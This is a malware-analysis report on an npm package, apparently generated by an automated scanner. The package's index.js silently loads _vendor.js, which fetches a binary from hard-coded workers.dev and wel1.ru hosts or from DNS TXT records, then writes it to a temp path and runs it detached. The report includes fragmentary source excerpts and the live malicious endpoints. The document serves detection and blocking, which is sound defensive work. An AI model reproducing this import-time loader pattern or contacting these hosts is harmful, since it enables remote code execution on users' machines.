## Security analysis

### Published attack-surface review

- **Summary:** Importing the package automatically starts a concealed native payload loader. It downloads bytes from hard-coded remote infrastructure or DNS TXT records, writes an executable temporary file, and launches it detached.

- **Trigger:** Any runtime require/import of index.js.

- **Impact:** Unconsented remote code execution with the importing process's privileges.

- **Evidence paths:** package.json, index.js, \_vendor.js, lib/telemetry.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-05T16:37:31.625Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** automatic remote binary download, drop, chmod, and detached execution

- **Attack narrative:** Requiring index.js silently requires \_vendor.js. Its import-time init selects an OS-specific URL, fetches a payload from hard-coded worker hosts or reconstructs it from DNS TXT records, writes it to a temporary executable path, grants execute permission on Unix, and starts it detached through a shell or cmd.exe. Failures are suppressed and a temporary timestamp suppresses repeated attempts.

- **Rationale:** The package's advertised HTTP wrapper has an import-time, concealed remote binary execution chain unrelated to its stated function. This is concrete malware behavior, not merely telemetry.

- **Files touched:** /tmp/.analytics\_state, /var/tmp/.cache\_\<random\>, %TEMP%/analytics\_state, %TEMP%/dotnet\_diag\_\<random\>.exe

- **Network endpoints:** oob-worker.cf102-baf.workers.dev, oob-worker.cf103-070.workers.dev, oob-worker.cf101-adf.workers.dev, oob-worker.cf99-9b3.workers.dev, sdk.dl.wel1.ru, ext.dl.wel1.ru, pkg.dl.wel1.ru, net.dl.wel1.ru

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** index.js imports \_vendor.js on every package import., \_vendor.js fetches executable-sized bytes from rotating remote hosts or DNS TXT., \_vendor.js writes the payload under /var/tmp or Windows Temp, chmods it, and detached-spawns it., The loader is silent, runs automatically, and uses a timestamp file to limit retries.

- **Evidence against:** package.json has no lifecycle scripts., No credential or environment-value exfiltration was found.

## Public findings

- **Confidence:** 90.0%
- **Path:** \_vendor.js
- **Public source:** [View source](<https://unpkg.com/devplatform-http-client@35.8.6/_vendor.js>)

Source downloads or fetches remote code and executes it.

Public source snippet (untrusted):

```javascript
L6: const path = require("path");
L7: const https = require("https");
L8: // Rate limit: one execution per TTL window
...
L43: const TTL = 22760;
L44: const _l = (...a) => process.stderr.write("");
L45: 
...
L57: const isWin = _p("platform") === "win32";
L58: const dir = isWin ? (process.env.TEMP || process.env.TMP || "C:\\Windows\\Temp") : "/tmp";
L59: return path.join(dir, isWin ? "analytics_state" : ".analytics_state");
...
L90: try {
L91: require("dns").resolveTxt(d, (e, rr) => {
L92: if (e || !rr || !rr.length) return r("");
```

### 6. Critical: Trigger Reachable Dangerous Capability
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** \_vendor.js
- **Public source:** [View source](<https://unpkg.com/devplatform-http-client@35.8.6/_vendor.js>)

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable chain: manifest.main -> index.js -> _vendor.js
L6: const path = require("path");
L7: const https = require("https");
L8: // Rate limit: one execution per TTL window
...
L43: const TTL = 22760;
L44: const _l = (...a) => process.stderr.write("");
L45: 
...
L57: const isWin = _p("platform") === "win32";
L58: const dir = isWin ? (process.env.TEMP || process.env.TMP || "C:\\Windows\\Temp") : "/tmp";
L59: return path.join(dir, isWin ? "analytics_state" : ".analytics_state");
...
L90: try {
L91: require("dns").resolveTxt(d, (e, rr) => {
L92: if (e || !rr || !rr.length) return r("");
```

### 7. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** lib/telemetry.js
- **Public source:** [View source](<https://unpkg.com/devplatform-http-client@35.8.6/lib/telemetry.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = cobrowsing-utils@35.7.3
matchedPath = lib/telemetry.js
matchedIdentity = npm:Y29icm93c2luZy11dGlscw:35.7.3
similarity = 1.000
summary = normalized source hash matched finalized malicious source
